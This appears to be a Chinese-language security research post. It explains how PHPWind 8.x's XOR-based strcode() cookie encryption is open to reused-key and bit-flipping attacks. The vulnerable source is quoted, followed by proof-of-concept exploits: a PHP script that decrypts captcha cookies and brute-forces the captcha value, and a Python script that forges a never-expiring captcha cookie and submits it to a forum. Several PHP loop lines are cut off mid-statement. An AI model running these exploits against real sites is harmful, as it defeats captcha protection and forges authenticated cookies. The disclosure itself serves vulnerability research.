PHPWind strcode() 加密算法设计缺陷

本文只是补充OWASP 2011上主题演讲的一些细节。想了解背景可以参考此PPT。

 

    由于时间匆忙，且家里发生了一些事情，所以这些都是2个月前的一些研究结果。代码也写得很粗糙，但基本能用。

 

描述

    在PHPWind 8.x 中（甚至包括一些老版本），strcode()函数是核心的加密函数，用于很多地方，比如cookie的加密。但strcode()函数只是简单的实现了XOR加密，由于缺乏HMAC和IV，使得strcode() 存在Reused Key Attack 与 Bit-flipping Attack。攻击者通过一定的方法能够解密任意密文，或者构造出任意明文的密文。

 

细节

解密任意密文

    在common.php 中：

/**

 * 加密、解密字符串

 *

 *@global string $db_hash

 *@global array $pwServer

 *@param $string 待处理字符串

 *@param $action 操作，ENCODE|DECODE

 *@return string

 */

function StrCode($string, $action ='ENCODE') {

         $action!= 'ENCODE' && $string = base64_decode($string);

         $code= '';

         $key= substr(md5($GLOBALS['pwServer']['HTTP_USER_AGENT'] . $GLOBALS['db_hash']), 8,18);

         $keyLen= strlen($key);

         $strLen= strlen($string);

         for($i = 0; $i < $strLen; $i++) {

                   $k= $i % $keyLen;

                   $code.= $string[$i] ^ $key[$k];

         }

         return($action != 'DECODE' ? base64_encode($code) : $code);

}

    那么，以破解验证码为例。在phpwind中，验证码是在ck.php中按照如下方式生成的：

         functiongetCode($type=null,$set=true) {

                   empty($type)&& $type = $this->gdcontent;

                   $code= '';

                   switch($type) {

                            case3:

                                     global$db_charset,$lang;

                                     require_onceGetLang('ck');

                                     $step= strtoupper($db_charset) == 'UTF-8' ? 3 : 2;

                                     $len  = (strlen($lang['ck'])/$step) - 1;

                                     for($i = 0; $i < $this->num; $i++) {

                                               $code.= substr($lang['ck'],mt_rand(0,$len)*$step,$step);

                                     }

                                     $set&& $this->cookie($code);

                                     if(strtoupper($db_charset) <> 'UTF-8') {

                                               $code= $this->convert($code,'UTF-8',$db_charset);

                                     }

                                     $code= explode(',',wordwrap($code,3,',',1));

                                     break;

                            case2:

                                     $list= 'BCEFGHJKMPQRTVWXY2346789';

                                     $len  = strlen($list) - 1;

                                     for ($i = 0; $i <$this->num; $i++) {

                                               $code.= $list[mt_rand(0,$len)];

                                     }

                                     $set&& $this->cookie($code);

                                     break;

                            default:

                                     $list= '2346789';

                                     $this->gdtype== 3 && $list .= '15';

                                     $len= strlen($list) - 1;

                                     mt_srand((double)microtime() * 1000000);

                                     for($i = 0; $i < $this->num; $i++) {

                                               $code.= $list{mt_rand(0, $len)};

                                     }

                                     $set&& $this->cookie($code);

                   }

                   return$code;

         }

    

    同时验证码的字符集只有24个，因为有些字符容易让用户产生混淆，比如字母"l"与数字"1"：

    $list= 'BCEFGHJKMPQRTVWXY2346789';

    最终将生成的验证码与时间戳绑定后写入Cookie中：

    加密前的结构如下：

    根据Reused Key Attack的攻击方法，知道明文1、密文1、密文2后，可以通过XOR操作推导出明文2。在验证码的应用中，有两个因素比较关键，一个是时间戳，一个是验证码的值。

    但实际上有很多地方可以暴露时间戳。比如下面的地方：

HTTP/1.1 200 OK

Server: nginx/0.7.65

Date: Mon, 05 Sep 2011 03:08:29 GMT

Content-Type: image/png

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.10

Set-Cookie: dd499_c_stamp=1315192109; expires=Tue, 04-Sep-2012 03:08:29 GMT;path=/

Set-Cookie: dd499_lastvisit=3522%091315192109%09%2Fck.php%3Fnowtime1315191874102;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/

Pragma: no-cache

Cache-control: no-cache

Set-Cookie: dd499_cknum=AQsFB1VdVlRSC28xUVYMBgUDUgEFClEGVANRBwQBAgJbBQNVCAABCgZWB1E;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/

    获取了时间戳和已知的验证码1后，可以构造出服务端使用的明文；结合抓取到的这次密文，就可以推导出任意密文的明文了。

    但明文中未直接包含验证码的值，而只是使用了验证码的MD5，因此要破解出验证码，需要采用MD5 rainbow table的方式来逆向推导MD5后的验证码值。因为phpwind采用的验证码位数不是很多，只有4位、5位或6位，因此实际上只需要计算 24^4 = 331776 或者 24^5 = 7962624 次即可（验证码从24个字符中产生）。

    演示代码如下：

 

$code1 = "QPG3W8";

$t = 1320392525;

$str1 = base64_decode("AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc");

 

// cipher to crack

//加密方式： 时间戳."\t\t".md5(验证码.时间戳); 

$str2 = base64_decode("AQUFBVIJAwIBDjloXAYEBwJRAwAADVgBCVRdUlUAAgcHBlABCQMBBgAIAwE");

   

echo "TimeStamp is: ".$t."\n";

 

for ($jmp = 0; $jmp<20; $jmp++){ 

 $x = ($t-10+$jmp)."\t\t".md5($code1.($t-10+$jmp));

 

 $guess = ""; 

 for ($i=0;$i

 

    $guess .= chr(ord($x[$i])  ^ ord($str1[$i]) ^ ord($str2[$i]) ); 

 }

 //echo $guess."\n";

  

 if ( is_numeric(substr($guess,0,10)) && preg_match("/^[a-z0-9]*$/i", substr($guess,-32) ) ){

 //if ($jmp == 10){

   echo "\nGuess Result is: ".$guess."\n";

   break;

 } 

}

 

// 遍历出checkcode 

$counter = 0;  

$startTime = time();

$cksets = 'BCEFGHJKMPQRTVWXY2346789';

 

function bruteforce_guess($p){  

 

 global $counter;

 global $cksets;

 

 for ($a=0;$a

   $result = "";   

   $result[0] =  $cksets[$a];

   for($b=0;$b

     $result[1] = $cksets[$b];

     for($c=0;$c

       $result[2] = $cksets[$c];

       for($d=0;$d

         $result[3] = $cksets[$d];

         for($e=0;$e

           $result[4] = $cksets[$e];

           for($f=0;$f

             $counter ++;

             $result[5] = $cksets[$f];

             $result = $result[0].$result[1].$result[2].$result[3].$result[4].$result[5];

 

             if (md5($result.substr($p,0,10)) == substr($p,-32) ){

                echo "CheckCode is: ".$result."\n";

                return $result;

             }

             

             if ($counter % 300000 == 0){

               echo ".";

             }

           }

             

         }

       }  

     }

   }

 }

 return False;

}

 

 

function random_guess($p){

 global $counter;

 global $cksets;

 

 for(;;){

    $result = '';

$len  = strlen($cksets) - 1;

$counter ++;

for ($i = 0; $i < strlen($code1); $i++) {

$result .= $cksets[mt_rand(0,$len)];

    }

if (md5($result.substr($p,0,10)) == substr($p,-32) ){

      echo "CheckCode is: ".$result."\n";

      break;

    }    

    

    if ($counter % 300000 == 0){

      echo ".";

    }

 }

}

  

 

 bruteforce_guess($guess);   // 遍历所有可能性

 //random_guess($guess);     //随机生成方式遍历

 

 echo "Counter is: ".$counter."\n";

 echo "Spend Time: ".(time()-$startTime)." Seconds\n";

 

function hex($str){

    $result = '';

    for ($i=0;$i

         $result .= "\\x".ord($str[$i]);

    }

    return $result;

}      

 

?>

    

    测试如下，要破解如下验证码：

    攻击效果：

构造任意明文的密文

    还是以验证码为例，构造一个永久有效的验证码。

    在phpwind中，是通过以下过程验证一个验证码的：

1.      Post参数 gdcode 的值为 valueA

2.      解密cookie cknum的值，获取到原文为 valueB

3.      通过safecheck()函数验证valueB的时间戳是否合法，以及valueB的 md5 是否与valueA的计算结果一致

 

Global.php:

/**

 * 校验验证码

 *

 *@param string $code

 */

function GdConfirm($code,$bool = null) {

         Cookie('cknum','', 0);

         if(!$code || !SafeCheck(explode("\t", StrCode(GetCookie('cknum'),'DECODE')), strtoupper($code), 'cknum', 1800)) {

                   if($bool){

                            returnfalse;

                   }else{

                            Showmsg('check_error');

                   }

         }

         returntrue;

}

 

Common.php: 

/**

 * 检查cookie是否过期

 *

 *@global int $timestamp

 *@param array $cookieData cookie数据

 *@param string $pwdCode 用户私有信息

 *@param string $cookieName cookie名

 *@param int $expire 过期秒数

 *@param bool $clearCookie 验证错误是否清除cookie

 *@param bool $refreshCookie 是否刷新cookie

 *@return bool

 */

function SafeCheck($cookieData, $pwdCode,$cookieName = 'AdminUser', $expire = 1800,$clearCookie = true ,$refreshCookie =true) {

         global$timestamp;

         if($timestamp- $cookieData[0] > $expire) {

                   Cookie($cookieName,'', 0);

                   returnfalse;

         }elseif ($cookieData[2] != md5($pwdCode . $cookieData[0])) {

                   $clearCookie&& Cookie($cookieName, '', 0);

                   returnfalse;

         }

         if($refreshCookie) {

                   $cookieData[0]= $timestamp;

                   $cookieData[2]= md5($pwdCode . $cookieData[0]);

                   Cookie($cookieName,StrCode(implode("\t", $cookieData)));

         }

         returntrue;

}

    注意到验证码的失效时间是服务端时间的1800秒之后。攻击者可以通过构造一个超级大的时间使得判断条件永远成立。

$timestamp– $cookieData[0] < 0

    演示代码如下：

import string 

import urllib2

import urllib

#from urlparse import urlparse   

import httplib    

import base64

import md5

 

plaintext1 = "1320392525"+"\t\t"+md5.new("QPG3W8"+"1320392525").hexdigest()

ciphertext1 = base64.b64decode("AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc=")

 

bigtime = "2000000000"

plaintext2 = bigtime+"\t\t"+md5.new("2MY8W3"+bigtime).hexdigest()

ciphertext2 = ''

 

for i in range(0,len(plaintext1)):

  ciphertext2 += chr(ord(plaintext1[i]) ^ ord(ciphertext1[i]) ^ ord(plaintext2[i])) 

 

cookie = base64.b64encode(ciphertext2)

 

url = ""

 

data = {'action':'regcheck','gdcode':'2MY8W3','type':'reggdcode'}

data = urllib.urlencode(data)

 

headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20',

           'Cookie':'be2f1_cknum='+cookie}

 

req = urllib2.Request(url,data,headers)     

f = urllib2.urlopen(req)

        

print f.read()

    测试效果：

    （返回值为0说明验证通过，返回值为1是验证不通过）